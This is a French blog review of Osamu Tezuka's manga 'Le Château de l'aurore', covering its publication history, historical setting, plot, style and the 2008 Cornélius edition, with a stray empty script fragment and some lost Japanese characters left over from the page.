Le Château de l’aurore

“Grand amateur de l’Histoire de son pays, document.write(“”); Tezuka s’est souvent amusé à construire ses récits à partir d’épisodes marquants du passé, comme l’illustre ce Château de l’Aurore étincelant de fantaisie. Les intrigues politiques et le contexte historique font tout le sel de cette chronique palpitante située à l’époque de Hideyoshi Toyotomi (1536-1598), l’un des trois unificateurs du Japon féodal.”
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“Le puissant seigneur Muneharu Matsunoki se lance à la demande du shogun dans la construction d’un château de style «anglais». Malgré l’opposition des habitants, les travaux de l’extravagante bâtisse commencent. Mais le chantier devient le théâtre de mystérieux sabotages et des ombres inquiétantes rôdent bientôt dans le périmètre. Les liens familiaux et les rivalités de clans s’en mêlant, les passions s’exacerbent et la situation devient vite explosive. Déjà, c’est la guerre qui menace…”

“Cette œuvre réalisée au tout début des années 1960 témoigne de ce que les spécialistes japonais désignent comme «l’Âge d’or» d’Osamu Tezuka, période qui le voit s’affranchir de l’influence de Walt Disney et inventer les codes de la bande dessinée japonaise moderne. Le Château de l’Aurore n’est que l’un des nombreux joyaux méconnus dont regorge l’œuvre pléthorique de ce génie du 9e Art.” [ Texte tiré du blogue de l’éditeur ]

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Le Château de l’aurore (???? / Yoake Shiro) est un manga seinen écrit et illustré par celui qui est connu au Japon comme le “dieu du manga,” Osamu Tezuka. Prépubliée en feuilletons dans les magazines de l’éditeur Gakken Chûgaka Ichinen Course et Chûgaka Ninen Course (de septembre 1959 à mars 1961), l’histoire fut finalement compilée en un seul volume en mai 1961 par l’éditeur Suzuki. Il a été réédité en août 1978 par Kodansha, en juin 1997 et décembre 1998 par Sh?gakukan (deux différent formats), puis par Gakken en août 2003. La traduction française est paru chez Cornélius en mars 2008. Il a été nominé pour le prix jeunesse du Festival de bande-dessinée d’Angoulème en 2008.

Il est toujours difficile de parler d’un monument comme Osamu Tezuka (1928-1989). Considéré comme l’un des pères du manga (ou même un “dieu”), il a fortement contribué à établir les règles du genre, il a eut une influence énorme sur la culture japonaise et s’est révélé un mangaka versatile et extrêmement prolifique (il a produit environ sept-cent oeuvres soit plus de 150,000 pages!). Il est quasi impossible de vraiment exprimer l’importance qu’il a eut dans l’histoire du manga. On connait tous bien sûr des titres comme Astro Boy, Le Roi Léo ou Princesse Saphir mais ceux-ci ne sont qu’une goutte d’eau dans l’océan de sa production et cela même si on ne compte que la cinquantaine de titres traduit en français (dont plusieurs sont disponible en bibliothèques).

Ces titres qui nous viennent facilement à l’esprit donnent l’impression qu’il dessinait surtout pour les enfants (et son style simple et souvent caricatural renforce ce sentiment) alors que son oeuvre est pourtant très diversifié tant dans les genres (drame ou comédie, que ce soit fantastique, historique ou science-fiction) que dans les thèmes abordés (nature, technologie, médecine, politique, philosophie, religion, etc.). Il a produit de nombreux manga pour adultes, avec des histoires très sérieuses (ne serait-ce que L’Histoire des 3 Adolf, M.W. ou Kirihito), mais tout au long de son oeuvre (peu importe laquelle) il a toujours conservé la volonté d’être didactique et de promouvoir la connaissance ainsi qu’un profond humanisme (après tout il avait fait ses études en médecine).

Le Château de l’aurore est une oeuvre plutôt mineure de Tezuka. La plupart des ouvrages consacré au maître n’en parle même pas. C’est pourtant une oeuvre charnière mais qui demeure tout de même assez typique. Lorsqu’elle est publiée, Tezuka a trente-et-un ans mais cela fait déjà treize ans qu’il a publié sa première histoire, Maachan no Nikkich? (1946). Entre temps il a principalement produit Shin Takarajima (1947, son premier succès), Metropolis (1949), Le Roi Léo (1950), Captain Atom (1951-52, où Astro fait sa première apparition), Astro Boy (1952-68), Princesse Saphir (1953) et il a débuté les quatre premiers chapitres de Phénix (1954-57). Lorsqu’il débute Le Château de l’aurore (1959-61), il a finalement atteint sa maturité artistique et perfectionné un style qui lui est propre.

Le Château de l’aurore est un récit historique avec une touche de fantasy. C’est-à-dire que le contexte historique est véridique mais les personnages principaux et les lieux sont fictifs. Comme nous l’apprend la postface de la traductrice Nathalie Bougon, Tezuka a choisit de situer son récit dans “l’une des époques les plus fascinantes de l’histoire du Japon”: l’ère de Momoyama (1568-1603). Marquée par trois grands généraux, ce sera une période de transition entre l’ancien Japon féodal (l’époque Sengoku / Muromachi) et l’ère d’Edo. D’abord Nobunaga Oda entreprend l’unification du Japon. À sa mort, Hideyoshi Toyotomi lui succède et continue l’unification qui sera complétée en 1591 par l’alliance avec son adversaire d’antan, Ieyasu Tokugawa. Toutefois, à la mort de Toyotomi en 1598, Tokugawa s’oppose rapidement à la régence de son fils Hideyori et, après la fameuse bataille de Sekigahara en 1600, prend le contrôle du pays tout entier (quoique Hideyori ne sera complètement vaincu qu’en 1615 avec le siège et la destruction du château d’Osaka). Tokugawa instaure le Bakufu en 1603 et ce sera le début du shogunat Tokugawa, qui règnera sur un Japon unifié, pacifié et refermé sur lui-même jusqu’à la restauration Meiji en 1868.

Le récit débute avec un mystérieux personnage qui entre au château du seigneur Muneharu Matsunoki. Le fils du seigneur, Midori-maru, surprend son père en réunion avec celui-ci, qui se révèle être l’architecte Ugetsu-saï. On y apprend que le shogun Toyotomi, inquiet de mouvements de troupes dans le Kanto (possiblement une manigance de Tokugawa), a demandé au seigneur de faire construire en secret un château-fort sur ses terre. Cela devra être le plus beau château du monde, construit dans un style anglais pseudo-élisabethain (un peu comme le château de Disney). Le château doit être secrètement construit en surplomb d’une vallée qui appartient au domaine public et non au seigneur. Une jeune femme, O-tae, y construit une école pour jeune paysans pauvres. Midori-maru tente de la convaincre de quitter mais, lorsqu’il échoue, il fera tout son possible pour l’aider et la protéger.

La supervision de la construction du château est confié au maître d’armes To-no-suké Murasaki, mais les travaux sont constamment perturbés par le sabotages des espions de l’ennemi et des intrigues politiques. De plus, Yayoï–la fille du ministre, secrètement en amour avec Midori-maru–est jalouse de la relation de celui-ci avec O-tae et fera tout pour leur nuire. Lorsque les villageois sont expulsés de leur terres et que la maîtresse d’école est condamné à mort, Midori-maru sauve celle-ci et s’enfuit avec elle. Il se révolte contre son père en s’opposant à la poursuite travaux dont le coût humain est trop élevé. Le ministre est assassiné par un traitre déguisé en oni, mais Midori-maru, déguisé en ouvrier, le confronte et le blesse. Yayoï, avec l’aide de To-no-suké, sur qui elle a maintenant dévolu son affection, cherche désespérément à venger la mort de son père. Lorsqu’elle découvre que le traitre n’est nul autre que To-no-suké, elle se suicide. To-no-suké, rongé par le remort, se repent. Le château est finalement complété mais, à la mort de Toyotomi, le nouveau shogun Tokugawa assiège le château. Midori-maru revient pour aider son père, qui a décidé de saborder le château à l’aide d’explosifs. Mais, piégés, le père et le fils réconciliés meurent dans sa destruction–une fin où Tezuka veut sans aucun doute rappeler la destruction du château d’Osaka et la mort de Hideyori.

Le Château de l’aurore est un oeuvre plutôt typique de Tezuka. Son style y est très simple (trop pour certains) mais assez efficace. S’il commence vraiment à maîtriser son art, ce n’est pas encore parfait au niveau de la narration qui manque un peu de fluidité. Malgré le sérieux apparent du sujet, Tezuka laisse toujours une bonne place à l’humour. Un bon exemple est la scène où Midori-maru affronte To-no-suké, qui lui lance un bâton de dynamite dont il tranche la mèche de son sabre. “Bravo! Je vois que tu maîtrises l’art du sabre!” s’exclame To-no-suké. Midori-maru lui répond, “Et toi l’art du calunar! Je te rappelle que la dynamite n’existe pas à notre époque!”

Cornélius nous offre ici une publication d’excellente qualité (tant au niveau de l’impression que du choix du papier), notamment par la restauration des planches originales (par l’utilisation de différentes éditions ils ont pu ainsi recréer les trames de gris de façon à éviter un effet de moiré embarrassant). Ce n’est certes pas le meilleur manga de Tezuka mais c’est tout de même un ouvrage intéressant. Ce n’est pas une lecture indispensable mais si, comme moi, Tezuka vous intéresse je vous le suggère tout de même.

Extraits des pages 51 et 132
Un extrait de vingt-huit pages (en format PDF) est disponible sur le site de l’éditeur mais, comme ce site est programmé en Flash, il est impossible de vous y rediriger par un simple lien alors vous en trouverez une copie ici.

Le château de l’aurore, par Osamu Tezuka. Paris, Éditions Cornélius (Coll. Paul), mars 2008. 15 x 21 x 2 cm, 160 pg., 15.50 € / $26.95 Can. ISBN: 978-2-9154-9249-1. Sens de lecture Japonais. Recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Le château de l’aurore © 2008 by Tezuka Productions. All rights reserved. Design & traduction © Cornélius 2008.

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2 thoughts on “Le Château de l’aurore

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